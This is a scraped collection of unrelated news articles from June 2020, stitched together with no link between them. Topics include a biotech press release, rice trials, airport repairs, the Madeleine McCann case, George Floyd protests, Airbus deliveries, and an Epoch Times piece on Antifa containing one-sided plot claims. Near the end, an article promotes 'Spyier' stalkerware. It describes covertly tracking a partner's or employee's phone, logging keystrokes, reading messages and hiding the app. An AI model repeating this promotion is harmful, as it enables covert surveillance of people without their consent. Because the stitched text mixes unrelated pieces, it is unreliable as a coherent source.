About Resverlogix Resverlogix is developing apabetalone (RVX-208), a first-in-class, small molecule that is a selective BET (bromodomain and extra-terminal) inhibitor. Apabetalone is the first therapy of its kind to have been granted US FDA Breakthrough Therapy Designation  for a major cardiovascular indication  to help facilitate a time-efficient drug development program including planned clinical trials and plans for expediting the manufacturing development strategy.

BET inhibition is an epigenetic mechanism that can regulate disease-causing genes. Apabetalone is a BET inhibitor selective for the second bromodomain (BD2) within the BET proteins. This selective inhibition of apabetalone on BD2 produces a specific set of biological effects with potentially important benefits for patients with high-risk cardiovascular disease, diabetes mellitus, chronic kidney disease, end-stage renal disease treated with hemodialysis, neurodegenerative disease, Fabry disease, peripheral artery disease and other orphan diseases, while maintaining a well described safety profile. Resverlogix common shares trade on the Toronto Stock Exchange (TSX:RVX). Follow us on: Twitter: @Resverlogix_RVX

LinkedIn: https://www.linkedin.com/company/resverlogix-corp-/ For further information please contact: Investor Relations

Email: [email protected]

Phone: 403-254-9252

Or visit our website: www.resverlogix.com This news release may contain certain forward-looking information as defined under applicable Canadian securities legislation, that are not based on historical fact, including without limitation statements containing the words "believes", "anticipates", "plans", "intends", "will", "should", "expects", "continue", "estimate", "forecasts" and other similar expressions. In particular, this news release includes forward looking information related to the potential role of apabetalone in the treatment of patients with cognitive disorders, high-risk cardiovascular disease, diabetes mellitus, chronic kidney disease, end-stage renal disease treated with hemodialysis, Fabry disease, peripheral artery disease and other orphan diseases. Our actual results, events or developments could be materially different from those expressed or implied by these forward-looking statements. We can give no assurance that any of the events or expectations will occur or be realized. By their nature, forward-looking statements are subject to numerous assumptions and risk factors including those discussed in our Annual Information Form and most recent MD&A which are incorporated herein by reference and are available through SEDAR at www.sedar.com. The forward-looking statements contained in this news release are expressly qualified by this cautionary statement and are made as of the date hereof. The Company disclaims any intention and has no obligation or responsibility, except as required by law, to update or revise any forward-looking statements, whether as a result of new information, future events or otherwise.

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A renowned agronomist and his team began a trial of rice planting in saline-alkali soil in north China's Inner Mongolia Autonomous Region on Thursday.

The trial focuses on growing rice on more than 66 hectares of saline-alkali land in Hangjin Banner. It is being conducted by a rice research center based in Qingdao and led by Yuan Longping, an agronomist known for developing the first hybrid rice strains.

The center experimented on 181 different strains of rice and eventually found a strain suitable to grow in the region's heavy saline-alkali soil. This laid the foundation for possible mass plantation.

Hangjin Banner has at his disposal 26,667 hectares of saline-alkali soil along the Yellow River, which has restricted agricultural benefits and hampered efforts to increase plantation and yields so far. Local authorities have joined hands with the center and plan to plant 6,667 hectares of seawater rice. The project is expected to be completed by 2025.

Rice is a staple food in China, as well as in many other Asian countries.

China has about 100 million hectares of saline-alkali soil, of which about one-fifth could be ameliorated to arable soil.
Two projects worth a total VND4 trillion (USD173.91 million) to upgrade runways at Noi Bai and Tan Son Nhat international airports will be started by the end of this month.

VND2.03 trillion will be spent on Noi Bai International Airport alone.

A runway at Noi Bai International Airport has been deteriorated



The project invested by the Ministry of Transport is scheduled for completion next year.



The work at Noi Bai International Airport will focus on the renovation and repair of runways 1A and 1B, building three new taxiways and upgrading existing ones and construction works for flight management, signal lights, signal paint, and drainage systems.



Meanwhile, the project at Tan Son Nhat International Airport will include upgrading runway 25R/07L, building new taxiways and installing signal lights.



Noi Bai and Tan Son Nhat are the two biggest airports in the country, accounting a combined 70.5 million passengers out of the countrys total 116.5 million passengers last year, accounting for 60.5%.



Since 2017, runways at the two airports have severely deteriorated due to the overloading.



By 2025, the two airports are expected to receive up to 90 million passengers in total, so the upgrade is an urgent need. Dtinews

Tan Son Nhat airport seeks to close 1 runway for repairs HCM Citys Tan Son Nhat International Airport is seeking permission from the Civil Aviation Authority of Vietnam to repair a severely downgraded runway at night.
STATEN ISLAND, N.Y. -- A juicy burger on an English muffin with waffle cut fries, chunk of iceberg, tomato slice and pickles can be yours at Duffys in West Brighton -- just not belly up to the bar.

Were rolling with the take out and delivery until we get to phase two, said Ed Donovan, proprietor of the pub along with Cormac Gordon Jr. The cousins have partnered in the bar since Dec. 16, 2019.

Duffys closed temporarily in mid-March due to the pandemic and took the time off to ready for a new era in the saloon business with social distancing and alfresco dining. Their parking lot in the back with its protective barriers will soon be ready to seat 30 guests alfresco-style when New York City hits Phase 2, perhaps sometime in July. There will be a cover put in place over that area the next three weeks as well.

Gordon explained, We are doing walk-up at the front. The most difficult part overall has been the significant investments we are making across the board with such an uncertain future. What is allowed? How have peoples comfort levels changed?

He expects growing pains.

- Duffy's reopened on Thursday, June 4, 2020 (Courtesy of Cormac Gordon)Cormac Gordon

Even though Duffys has been around 35 years its like we are opening a new business in some ways. We will try some new things and listen to the feedback from our customers," said Gordon. This is a similar sentiment expressed by other entrepreneurs still feeling their way out of the coronavirus crisis after temporary closure.

But the traditions will stay the same at Duffys, assure the owners-- the signature burgers, the cold beer plus daily specials that include fish.

Donovan and Gordan said theyve put some TLC into the place that has been in their lives since they were young. Gordan worked there as a young adult and Donovan served at The Staaten diagonally across the street way back when.

Well keep it rolling forever, said Donovan.

Duffys takes its name from proprietor John Duffy who owned the bar with George Froehlich. They purchased the bar in 1985 from Danny Blaine and Brian Noone.

Duffys will be open from noon to 9 p.m. daily.

Now that Duffys is back open we checked in with Trevor Mills, man-about-town, fellow Staten Island native, retired New York City public school teacher and proud member of the exclusive Tier 1 Club in the Teachers Retirement System.

(Bless you, Al Shanker!)

If you remember from our prior chats Trevor has admitted feeling rather lost without his usual haunts -- Adobe Blues in New Brighton (closed through July), Blue in Livingston (open for pickup and delivery that includes cold cuts), Nurnberger Bierhaus (still closed) and The Staaten (closed temporarily) in West Brighton plus Jodys Club Forest (open for food pickups including cases of booze.)

Its not easy. Im working on different projects. Thats important, Trevor reports. And in a twist of Trevor-ness as only a pandemic can produce weve learned that he -- is buying a bike!

Whaaat?!

Yeah, Im buying one at Bennetts. Ive bought bikes from Tommy, his father, his grandfather...the original bicycle shop was over on Bay Street in Stapleton. Get a load of this...hes doing 10 times the business than before the coronavirus! Trevor enthused. And sure enough when we called Bennetts over on Jewett Avenue Tommy said he couldnt talk because he had 20 customers in front of him.

But anyway, back to our Trevor Mills wellness check, which happens at Duffys on this overcast Friday. Trevor handed his phone to bartender Terry Moore -- I stayed on the phone while he did this -- and Terry took his picture by the back door and deadpanned to the former elementary and junior high school teacher, It makes your chins look good.

- Trevor Mills returns to Duffy's in West Brighton (Courtesy of Terry Moore)Terry Moore

With Trevors semi-re-introduction to Duffys, the legendary Hate Corner is almost back in business. Thats a decidedly North Shore collection of regulars who pretty much hate everything, hence the name.

Speaking of traditions our 11-year old has seriously questioned the Tooth Fairys existence for a couple of months now. But today James stumbled upon a tidbit during a school assignment that potentially puts the kibosh forever on five-spots under the pillow.

The reading passage said, Keeping this mythology alive may be doing more harm than good. I think it may actually be teaching children to lie and be lied to.

Well, I looked my son right in the eye this morning and told him point blank: She is real. And children everywhere should be assured that the Tooth Fairy is an essential worker and will do house visits even during pandemics. She even saves all her childrens notes which is why its important to brush your teeth.

Attention: Tooth Fairy, a note from Andrew Cavagnaro, 2019 (Staten Island Advance/Pamela Silvestri)

Keep in touch.

Pamela Silvestri is Advance Food Editor. She can be reached at silvestri@siadvance.com.
German prosecutors believe Madeleine McCann is dead and are investigating a child sex predator on suspicion of her murder.

The suspect, a 43-year-old German national named in media reports as Christian B, is reportedly serving a seven-year prison sentence for the rape of a 72-year-old American woman in Portugal in 2005.

He is known to have lived on the Algarve coast and his Portuguese mobile phone received a half-hour phone call in Praia da Luz around an hour before Madeleine (3) went missing on May 3, 2007.

Launching an appeal on Wednesday night, Scotland Yard said he was believed to have been living in a distinctive early-1980s VW T3 Westfalia camper van at the time and re-registered a 1993 Jaguar XJR6 in someone else's name the day after her disappearance.

The force's Operation Grange still considers the case a missing person inquiry because there is no "definitive evidence whether Madeleine is alive or dead".

But Hans Christian Wolters, a spokesman for the Braunschweig public prosecutor's office, said the suspect was being investigated "on suspicion of murder", adding: "We are assuming that the girl is dead.

"With the suspect, we are talking about a sexual predator who has already been convicted of crimes against little girls and he's already serving a long sentence."

German newspaper 'Braunschweiger Zeitung' reported the suspect, who has been partially identified as Christian B by local media due to the country's strict rules on the naming of criminals, was convicted of rape in Braunschweig District Court in December last year.

'Der Spiegel' reported he is serving a prison sentence in Kiel, having been initially extradited from Portugal in 2017 and convicted of drug trafficking.

The German magazine said his criminal record contained a total of 17 entries, including child abuse while he was still a teenager, and published a pixelated picture of him apparently taken from Facebook.

It comes after Christian Hoppe, from Germany's Federal Criminal Police Office (BKA), told the country's ZDF television channel on Wednesday night that German police had not ruled out a sexual motive for the alleged crime against Madeleine.

He said the suspect may have broken into an apartment in the Ocean Club complex, where Madeleine was on holiday with her parents Kate and Gerry McCann and her twin siblings Sean and Amelie, before spontaneously kidnapping her.

A BKA appeal said: "There is reason to assume that there are other persons, apart from the suspect, who have concrete knowledge of the course of the crime and maybe also of the place where the body was left."

Both vehicles linked to the suspect have been seized by German police, who said there was information to suggest the suspect may have used one of them in the alleged offence.

The BKA is asking for other potential victims to come forward.

German prosecutors said he was living in the Algarve between 1995 and 2007, where he worked jobs, including in the catering business, but funded his lifestyle by committing crimes such as thefts in hotel complexes and apartments, as well as drug dealing.

Scotland Yard revealed the "significant development" in a joint appeal with the BKA and the Portuguese Policia Judiciaria (PJ), including a 20,000 (22,200) reward for information leading to the conviction of the person responsible for Madeleine's disappearance.

The Met's investigation has identified more than 600 people as potentially significant and was tipped off about the German national, already known to detectives, following a 2017 appeal 10 years after she went missing.

She vanished shortly before her fourth birthday while her parents were eating dinner with friends at a nearby tapas restaurant. She would have turned 17 last month.

The McCanns welcomed the latest appeal in a statement which said: "We will never give up hope of finding Madeleine alive, but whatever the outcome may be, we need to know as we need to find peace."

Clarence Mitchell, a spokesman for Madeleine's family, said her parents felt the development was "potentially very significant" and that he could not "recall an instance when the police had been so specific about an individual" in the 13 years since she disappeared.

He told BBC TV: "Of all the thousands of leads and potential suspects that have been mentioned in the past, there has never been something as clear cut as that from not just one but three police forces."
The president who takes no responsibility for costing millions and millions of Americans their jobs deserves no credit when a fraction of them return, Biden said. The former vice president has long said that he does not blame Trump for the pandemic, but holds him responsible for the delayed effort to blunt it that led to extensive closures for months and the resulting economic collapse.
Source: Xinhua| 2020-06-05 14:29:35|Editor: huaxia

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DENVER, the United States, June 4 (Xinhua) -- An eighth straight day of protests saw thousands peacefully protest against the death of African-American George Floyd in America's Mile High City.

Protesters openly violated the curfew imposed by Denver mayor Michael Hancock starting from local time 9:00 p.m. (0300GMT on Friday), but the police did not respond aggressively.

This non-aggressive intervention has made all the difference, local news reported, as Denver's large-scale protests about Floyd's graphic murder captured on by a white police officer has sent shockwaves around the country and the world about police brutality against minorities.

Denver Police reported on Twitter that at at local time 10:00 p.m. (0400GMT on Friday) a shooting had occurred, and at least one person had been transported to the hospital.

The isolated incident did not mar another evening of nonviolent protest, organizers said.

On Thursday morning, Denver hosted a memorial for Floyd at Civic Center Park, honoring his life in song and prayer from local time 10:00 a.m. (1600GMT) to 11:00 a.m. (1700GMT).

Hundreds of attendees participated in an eight-minute, 45-second moment of silence, marking the amount of time a Minneapolis police officer knelt on Floyd's neck before he died.

Daytime protests also included speeches by a number of children about racial inequality in America, including a four-year-old.

Three days ago Denver police stopped attacking and harassing protesters, and Denver's police chief has been largely credited in descalating the violence by meeting, marching and kneeling with protesters at the beginning of the week.

A local bill was introduced Thursday by Colorado Democrats for increased police accountability, which will likely be passed by Colorado's Democrat-controllable, liberal-controlled House of representatives, although several conservative, right-wing Colorado sheriffs have already said they will oppose it. Enditem
The logo of Airbus is pictured at the entrance of the Airbus facility in Bouguenais

PARIS (Reuters) - Airbus <AIR.PA> deliveries partially recovered ground in May compared with the previous month, but remained well below normal levels after falling dramatically due to the coronavirus crisis, company data showed on Friday.

The European planemaker delivered 24 aircraft in May, up from 14 in April, but down 70% from 81 aircraft in May 2019.

Planemakers continue to be hit by depressed demand from cash-starved airlines, logistical problems in bringing in airline inspection teams and gaps in the supply chain caused by social-distancing measures to tackle the virus.

France, where Airbus is headquartered, eased coronavirus restrictions on June 2.

Last month's deliveries included six narrow-body aircraft to Indian budget airline IndiGo <INGL.NS> and one wide-body A350-1000 each to British Airways <ICAG.L> and Abu Dhabi's Etihad Airways.

The figures bring total deliveries so far this year to 160 planes, down 49% from 313 in the same period of 2019.

Highlighting the impact of the crisis, Airbus sold no new aircraft in May.

So far this year it has sold 365 jets and received cancellations for 66, an improvement on the first five months of 2019 after a strong start to 2020 in the weeks before the spread of the new coronavirus sent the global economy into recession.

(Reporting by Tim Hepher; editing by Emelia Sithole-Matarise)
Photo: The Canadian Press

Celebrities, musicians and political leaders gathered in front of George Floyd's golden casket Thursday for a fiery memorial service for the man whose death at the hands of police sparked global protests, with a civil rights leader declaring it is time for black people to demand, Get your knee off our necks!

The service  the first in a series of memorials set for three cities over six days  unfolded in Minneapolis at a sanctuary at North Central University as a judge a few blocks away set bail at $750,000 each for the three fired police officers charged with aiding and abetting murder in Floyd's death.

George Floyds story has been the story of black folks. Because ever since 401 years ago, the reason we could never be who we wanted and dreamed to be is you kept your knee on our neck, the Rev. Al Sharpton said in a fierce eulogy. Its time for us to stand up in Georges name and say, Get your knee off our necks!

Floyd, a 46-year-old out-of-work bouncer, died May 25 after a white police officer, Derek Chauvin, put his knee on Floyd's neck for several minutes as he lay handcuffed on the pavement, gasping that he couldn't breathe. Chauvin has been charged with murder, and he and the others could get up to 40 years in prison.

From coast to coast, and from Paris and London to Sydney and Rio de Janeiro, the chilling cellphone video of Floyd's slow death has set off turbulent and sometimes violent demonstrations against police brutality, racism and inequality. Some protests continued Thursday.

Those gathered at the Minneapolis tribute stood in silence for 8 minutes, 46 seconds, the amount of time Floyd was alleged to be on the ground under the control of police.

Sharpton vowed that this will become a movement to change the whole system of justice.

Time is out for not holding you accountable! Time is out for you making excuses! Time is out for you trying to stall! Time is out for empty words and empty promses! Time is out for you filibustering and trying to stall the arm of justice! he said.

The service drew the Rev. Jesse Jackson, Sen. Amy Klobuchar and other members of Congress, including Reps. Ilhan Omar, Sheila Jackson Lee and Ayanna Pressley. Among the celebrities in attendance were T.I., Ludacris, Tyrese Gibson, Kevin Hart, Tiffany Haddish and Marsai Martin.

All these people came to see my brother, Philonise Floyd told the crowd at the memorial in awe as he recounted their childhoods playing catch and eating banana-mayonnaise sandwiches. Thats amazing to me that he touched so many peoples hearts because he touched our hearts. He and other family members spoke lovingly of Floyd, who was well over 6 feet tall, which earned him the nickname Big George.

The casket was covered in red roses, and a vibrant image was projected above the pulpit of a mural of Floyd painted at the street corner where he was arrested by police on suspicion of passing a counterfeit $20 bill at a convenience store. The message on the mural: I can breathe now.

The sanctuary normally seats 1,000, but because of the coronavirus outbreak, the capacity was reduced to about 500, and many mourners wore masks, some with I cant breathe on them.

Outside, hundreds chanted Floyd's name as a hearse prepared to carry him away.

His body goes next to Raeford, North Carolina, near where he was born, for a public viewing and private family service on Saturday. A public viewing will be held Monday in Houston, where he was raised and lived most of his life.
Australian Senator Calls on PM to Declare Antifa a Terrorist Organisation

Australian Senator Malcolm Roberts has called on Prime Minister Scott Morrison to follow the United States lead and declare Antifa a terrorist organisation.

Robertss concerns for Australia comes after a week of violent chaos in the United States following the death of George Floyd, who said many times he couldnt breathe while a police officer knelt on his neck. What began as peaceful protests were soon marred by riots involving far-left extremist organization Antifa and other similar groups.

[Antifa] exists in our nation and yet few Australians are aware of its intent, Senator Roberts told The Epoch Times.

Roberts noted Antifas communist ideological core in a media release on June 2, saying: We need to stop these far-left anarchists who use violence and fear to push their radical socialist agenda before they recruit and organise further in Australia.

Australia is a peaceful democratic nation where people resolve our differences through mutual respect and debate, culminating at the ballot box, he said.

The Senators media statement noted that Antifa has already been known to attack police and agitate at public events in Australia.

All responsible politicians should be defenders of our cultural, social, and democratic values and it is the Prime Ministers job to act urgently and decisively to protect the social fabric of our peaceful society, Roberts said.

Read More Project Veritas Infiltrates Antifa, Reveals Organized Training in Violent Action

Senator Malcolm Roberts in the Senate at Parliament House on July 4, 2019, in Canberra, Australia. (Tracey Nearmy/Getty Images)

Peaceful Protests Infiltrated By Antifa

In light of the violent riots, U.S. public officials from both sides of the aisle have said that outside groups have been exploiting the efforts of peaceful protestors to further their own agendas.

On May 30, Minnesota Gov. Tim Walz, a Democrat, noted that bad actors continue to infiltrate the rightful protests and that 80 percent of the rioters had traveled to Minneapolis from outside the state.

We have reason to believe that bad actors continue to infiltrate the rightful protests of George Floyds murder, which is why we are extending the curfew by one day.  Governor Tim Walz (@GovTimWalz) May 31, 2020

U.S. federal officials including the president have pointed the finger at Antifa.

On June 1, Trump said his administration would be designating Antifa as a terrorist organisation after a week of widespread looting and riots across multiple cities and states.

Amid the riots, videos on Twitter showed caches of bricks appearing in Manhattan, Baltimore, North Carolina, and more.

Yo, we got bricks. We got bricks! can be heard in a video by NTD reporter Kevin Hogan as rioters discovered and unpacked a pallet of bricks in New York on May 31.

Yo, we got bricks. We got bricks!#Rioters in Manhattan chanced upon a cache in the street equipped with bricks and a shovel at 10:01 p.m. on Second Ave between St. Marks Pl. and Seventh St. pic.twitter.com/dYB7vHdYqL  Kevin R Hogan (@KRHogan_NTD) May 31, 2020

Communism expert and Epoch Times contributor Trevor Loudon said the bricks and other examples were part of a terrorist military operation, and that the whole thing had been completely organised and long preplanned.

If the death of George Floyd in Minneapolis hadnt sparked these riots, the next one would have, he said. People need to understand that there are hundreds of foreign-trained agitators and organizers operating in this country, and tens of thousands more disciplined communists.

Journalist Andy Ngo, who was brutally assaulted by members of Antifa in 2018, noted in a thread on Twitter that Antifa and Black Lives Matter (BLM) are attempting to usher in a violent communist revolution in the United Statesa pillar of the free world.

Ngo wrote: BLM at its core is a revolutionary Marxist ideology. Its founders have made no secret of their worship of Communist terrorists & fugitives. They want regime change & the end of the rule of law. Antifa have partnered with them for now to help accelerate the break down of society.

Read More Antifa Tied to Communist Revolutionary Groups, Shows Documentary

Ngo added that the destruction of businesses across America was not mere opportunism, but in fact played a crucial role in Antifa and BLM ideology.

The goal is to abolish capitalism & have regime change. To do that, they have to make economic recovery impossible, said Ngo.

Former U.S. President Barrack Obama said on June 4 that there is a change in mindset taking place as a direct result of the activities and organising and mobilisation and engagement of so many young people across the country who put themselves out on the line to make a difference.

Obama thanked them for helping to bring about this moment and rejected criticism pointed at them, saying: For those who have been talking about protests, just remember: this country was founded on protests. It is called the American Revolution.

Every expansion of freedom  has been won through efforts that made the status quo uncomfortable, he added.

Antifa, Far-Left Extremism

Antifa is more of an ideology than an organisation, says a terrorism and counter-terrorism expert from Charles Sturt University.

Troy Whitford, Ph.D., is a lecturer in intelligence and security studies whose research has been in the field of extremist politics. He has done a fair bit of research on the extreme right in Australia, and since 2017, has been studying Antifa as an extremist group.

Related Coverage Project Veritas Infiltrates Antifa, Reveals Organized Training in Violent Action

Whitford said that Antifa have a tendency to use violence to further its means.

 Their interpretation of fascism tends to be people who dont share the same world view as they do. In order to enforce their worldview, theyre then adopting fascist behaviour itself, he told The Epoch Times.

Whitford noted that Antifa dont like that contention, but said that it was the risk the group runs in its operational and tactical approaches to carrying out its campaigns.

According to Whitford, Antifa is not as active a problem in Australia yet as in the United States. Overall, theyre mostly focussed on countering nationalist movements in Australia, he said.

As far as declaring Antifa a terrorist organisation goes, Whitford thinks the lack of an operating central leadership makes it hard to know who is a member. Rather, the group works in smaller cells.

You cant get a card saying youre a member of Antifa. Nor is there a real leader, he said.

However, if the United States and Australia do declare Antifa a terrorist organisation, Whitford said: Its going to be very difficult to find them. And how do you know when someones a member of Antifa or theyre just a supporter or if theyre someone that shares a similar ideological view?

He said the operational approach would mostly be able to disrupt their communications, but actually arresting people would prove a challenge.

Senator Roberts wrote that he finds irony in the Antifa movement, modelled after the 1930s anti-fascists movements while themselves behaving as fascists to suppress opposition and call for strict obedience to their self-determined culture of control over others.

If youre not a communist, youre a fascist. The Communist Origins of the Antifa Extremist Group Group promoted communist dictatorship in Germany on Soviet Unions behalf and labeled all ideologies other than communism as fascism.https://t.co/rUKbTHQVL5  Malcolm Roberts  (@MRobertsQLD) June 3, 2020

Watch Next:

The War for Americas Soul: How the Far-Left Radicalized Americas Institutions
Valerii Yevdokymov, who had previously held this position, was dismissed by a relevant order

The newly-appointed head of Ukraine's Foreign Intelligence Service Valerii Kondratiuk Opk.com.ua

President of Ukraine Volodymyr Zelensky fired Valery Yevdokymov, who had been the head of Ukraine's Foreign Intelligence Service since September 20, 2019, and appointed Valerii Kondratiuk. This is evidenced by the decrees of June 5, published on the website of the President.

Valerii Kondratiuk, 50 years old, is a special services officer and a lieutenant general. From 2016 to 2019, Kondratiuk held the position of Deputy Head of the Presidential Administration during Petro Poroshenko's presidency.

Prior to that, he was the head of the Main Intelligence Directorate of the Ministry of Defense (2015-2016), and even earlier - the head of the Counterintelligence Department of the Security Service of Ukraine (2014-2015).

As we reported earlier, yesterday, on June 5, Verkhovna Rada of Ukraine appointed MP of the Servant of the People faction Oleksandr Tkachenko as the new Minister of Culture and Information Policy of Ukraine.

Before the appointment, Tkachenko occupied the position of the chair of the Verkhovna Rada Committee on information policy.
The UN Security Council's Informal Working Group on International Tribunals convened its first meeting in 2020 yesterday under the chair of Ambassador Dang Dinh Quy, head of the Vietnamese Mission to the UN and chairman of the group.

Ambassador Dang Dinh Quy

In his remarks at the online meeting, Quy affirmed Vietnams commitments to promoting multilateralism, the UN Charter and international law.

As Chair of the group, Vietnam will push ahead with dialogues in the spirit of construction and cooperation between the group, the Chair, the Prosecutor of the mechanism and the UN Secretariat, in order to soon complete tasks assigned by the UNSC, he said.

Delegates reviewed the mechanisms performance over the past six months, and measures to improve its operational efficiency, overcome the impact of the COVID-19 pandemic and support judicial agencies in countries.

The Informal Working Group on International Tribunals was established in June 2000 to deal with a specific issue pertaining to the statute of the International Tribunal for the Prosecution of Persons Responsible for Serious Violations of International Humanitarian Law in the Territory of the Former Yugoslavia since 1991 (ICTY) and subsequently mandated to deal with other legal issues pertaining to ICTY as well as the International Criminal Tribunal for Rwanda for the Prosecution of Persons Responsible for Genocide and Other Serious Violations of International Humanitarian Law Committed in the Territory of Rwanda and Rwandan Citizens Responsible for Genocide and Other Such Violations Committed in the Territory of Neighbouring States between 1 January 1994 and 31 December 1994 (ICTR).

Apart from the working group, Vietnam is holding the Chairmanship of the UNSCs South Sudan Sanctions Committee and the Lebanon Sanctions Committee./.VNA
Choked is a pretty unique film in Anurag Kashyaps formidable roster of 19 directorial features.

While most of his filmography has revolved around themes of power, political drama, violence and dark humour, this one has been described by the man himself as unlike any film Ive ever done, drawing a lens over the urban middle class problems, insecurities and relationships.

Weaving in and out of the lives of suburban Mumbai residents in the midst of the political-economic whirlwind of 2016s demonetisation, capturing both the everyday lives and greater society of the worlds middle class is a subject eagerly tackled by filmmakers the world over.

And if Chokeds commentary on greed, societal chaos and the common man struck a chord with you, weve got plenty more films to add to your watching list:

1. Shunyota (2017)

A full-length feature film having merged three short films, Shunyota or Emptiness is a Bengali-language film that also happened to have the distinction of being the first feature-length production in the country to tackle the effects of demonetisation on the common man - facing six cuts from the CFBC before making it to release.

2. Roma (2018)

One of maverick director Alfonso Cuarons greatest films, Roma takes a closer look at the social turmoil and inter-family drama experienced by the director during his childhood spent in the titular neighbourhood of Mexico City.

Viewed primarily through the eyes of a young maid working under an affluent family, the film tackles themes of kindness and sympathy between social classes and the effects violent pogroms can have on these relationships.

3. A Simple Plan (1998)

An underrated gem from director Sam Raimi, the film follows three blue-collar acquaintances who come across millions of dollars in lost cash and make a plan to keep their find from the authorities.

It isn't long before complications and mistrust weave their way into the plan - and what was once simple isnt quite so anymore.

4. Glory (2016)

A stunningly stark and breathtaking glimpse into the way politics weaves itself into the lives of ordinary people, this Bulgarian sleeper-hit follows the tale of an unassuming, honest railway employee who finds millions in cash spilt on the tracks and gives it up to the police.

When the transport ministry's head of PR decides to use him as a diversion from a corruption scandal, his simple life falls victim to the grinder of bureaucracy.

5. Bawarchi (1972)

A squabbling middle-class family finds themselves at peace after hiring a new cook - who along with their taste buds, satisfies all their personal rivalries and arguments. That is, until he disappears - along with the family jewels.

6. Andhadhun





Chock-full of suspense, unusual plotlines and plenty of interesting questions for the audience, Andhudhun follows the tale of a pianist pretending to be blind - who witnesses a crime and slips into a chaotic frenzy of organ donation rackets, ironic twists of fate and a surprisingly philosophical ending that we wont spoil for you.

Looking for more? Share your suggestions in the comments!
Power Grid Corporation of India fell 1.89% to Rs 166 after the company said that Department of Telecommunication (DoT) has asked it to pay Rs 13,613.66 crore on account of license fee for years 2006-07 to 2009-10.

Department of Telecommunication vide its revised assessment order dated 22 May 2020 in respect of National Long Distance license for the F.Ys. 2006-07 to 2009-10 has asked the company to pay Rs 13,613.66 crore on account of license fee for the FYs 2006-07 to 2009-10, interest, penalty and interest on penalty, Power Grid Corporation of India said in an exchange filing made after market hours on Thursday.

The company has contested the same with the DoT citing non applicability of the demand.

Power Grid Corporation of India has been established by the Government of India (GoI) as the central transmission utility of India.

Powered by Capital Market - Live News

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
In this day and age where anyone can find anyone very easily through the use of the internet, it can be quite important ensuring the safety of one's loved ones and children. It can also be important to save oneself from loss caused by a bad employee or even unfaithfulness from a spouse or partner.

In such situations you may need to get answers which you can't normally get. The best way would be to spy on a phone, so naturally the need to track an iPhone by number may start to exist. Normally you would know how to do so or where to begin but luckily for you we have the answer for you.

Spyier is a legal app which excels at tracking a cell phone. It works well on both Apple iPhone and Android devices alike and it is also easy to use and setup.

What is Spyier?

One of the Best Spyware apps on the market today for tracking iPhones or any modern iOS device is Spyier. The service or app has gained the favor of many famous tech review sites while also having millions of downloads done all around the world.

Spyier works extremely efficiently and the use of the app is very straightforward and simple. To top it off the service is 100 percent free and will work in iPhones without the need for jailbreak or root. Hence, save the device, save yourself and easily track an iPhone. With Spyier view all kinds of information someone is hiding from you.

Through the use of Spyier you will easily track an iPhone location via the GPS or even the SIM card. Not only tracking, but with Spyier you can also monitor an iOS device in many more ways within minutes. So, now rest easy knowing that a powerful app is within your reach.

Other great features offered are:

Location tracking GPS and SIM

Keylogger

Stealth Mode

View call logs

View message history

Social Media monitor for popular platforms

Call frequency

Spyier will need the target iPhone to be online for the location monitoring or tracking to take place. It cannot work without that, you will need for the target device to be connected to the internet to avail the services.

So as stated above you will clearly see how Spyier will allow you access to not only the target device's location but will also allow you to monitor the device in many more ways. Now you can track a cheater, monitor your kids or even find a betraying employee very easily.

How to find track an iPhone in 2020 with the use of Spyier for Android

Before we can begin tracking an iPhone, we will have to undertake a very easy and low time consuming set up task. It is important to do so. The setup will be completed in mere minutes, it normally won't take a person more than 2-5 minutes to set all this up.

Step 1

You will have to visit the Spyier website. Then you will have to make an account and fill out necessary forms by giving details. Your account will be made after you pay an amount equal to the package you want.

Step 2

The Spyier service works on both iPhone and Android devices, so if you wish to use it on an Android device later on the process is also explained.

For Apple iOS devices

Spying on iPhone devices is much more straightforward. After you complete Step 1, all you need to do is sync your Cloud Storage with your Spyier account on the Spyier website. You will need the cloud storage credentials of the target phone though.

For Android Devices

If you also wish to learn how to do the same for android devices, the process requires you to download a small file on the target device as this is not doable remotely.

Your setup will now be complete, it will take a few minutes to start working, after which you will start receiving tracking and monitoring information regarding the target iPhone.

Step 3

Now that the setup is finished all you need to do is to login your Spyier account on any web browser and easily track the location of an iPhone device remotely. This is so simple and easily and all of it is done without any real hassle or the fear of getting caught.

The app can be removed remotely quite easily in the case of iOS or iPhone devices. So, easy install and easy uninstall. The app also is very good at keeping itself a secret through its stealth mode, which when enabled will hide all existence of the app. So you know their secrets and they can't find out yours.

With the Spyier app now in your possession, you can easily track an iPhone of anyone you suspect unfaithfulness or wrongdoing from. Not only tracking a phone, you can also read messages, view call history and even note down keylogs of anyone you wish to monitor.

Keep your kids and loved ones safe from the horrors of the world or save yourself from embarrassment.

Conclusion

We hope that now through the Spyier app you can track an iPhone by number online. The app can be used from anywhere and will work without any modern tech knowledge. There are other apps out there in the market today that offer similar features but Spyier is kind of a step ahead of them at this time.

Now with Spyier view the messages of anyone with an iPhone or more importantly track anyone's location or phone. You will be able to rest easy knowing an unfaithful person's secrets or when you are able to monitor your children's activities to keep them safe.
George Floyd's viral story has shed light on a similar case that is three months old. On the night of March 3, Manuel Ellis died shortly after getting arrested, who shouted 'I can't breathe!' The cause of death was ruled a homicide.

The police encountered him at 11:22 p.m. where he appeared to be harassing a woman at an intersection. The 33-year-old musician and father of two from Tacoma, Washington, was seen banging on the window of a vehicle, said authorities. When asked, he said he had warrants.

At the time, authorities said that Ellis looked like he was in distress and 'appeared to be suffering from excited delirium, which often includes attempts at violence, unexpected strength, and very high body temperature.' When they approached Ellis, he allegedly assaulted an officer.

Ed Troyer from the Pierce County Sheriff's Department said that 'He picked up the officer by his vest and slam-dunked him on the ground.' The second officer immediately got out of his cruiser and restrained Manuel to detain him with two other officers.

The 911 call recorded him shouting, 'I can't breathe!' The police then put him on his side, and he was breathing and talking, while they called for medical aid. The officers were not wearing body cameras but claimed that they did not put a knee down on Manuel's neck nor cut off his air supply.

Detective Troyer said that 'the main reason why he was restrained was so he wouldn't hurt himself or them.' Four minutes after calling, medical personnel arrived and worked with him for 40 minutes with handcuffs removed.

He was pronounced dead at the scene. Ellis died in police custody, and the Medical Examiner ruled his death a homicide.

Parallel to George Floyd

The Pierce County Medical Examiner released that cause of death was hypoxia, or oxygen deprivation, due to physical restraint. The toxicology report also revealed traces of methamphetamine and an enlarged heart, or a dilated cardiomyopathy, oddly parallel to George Floyd's autopsy report.

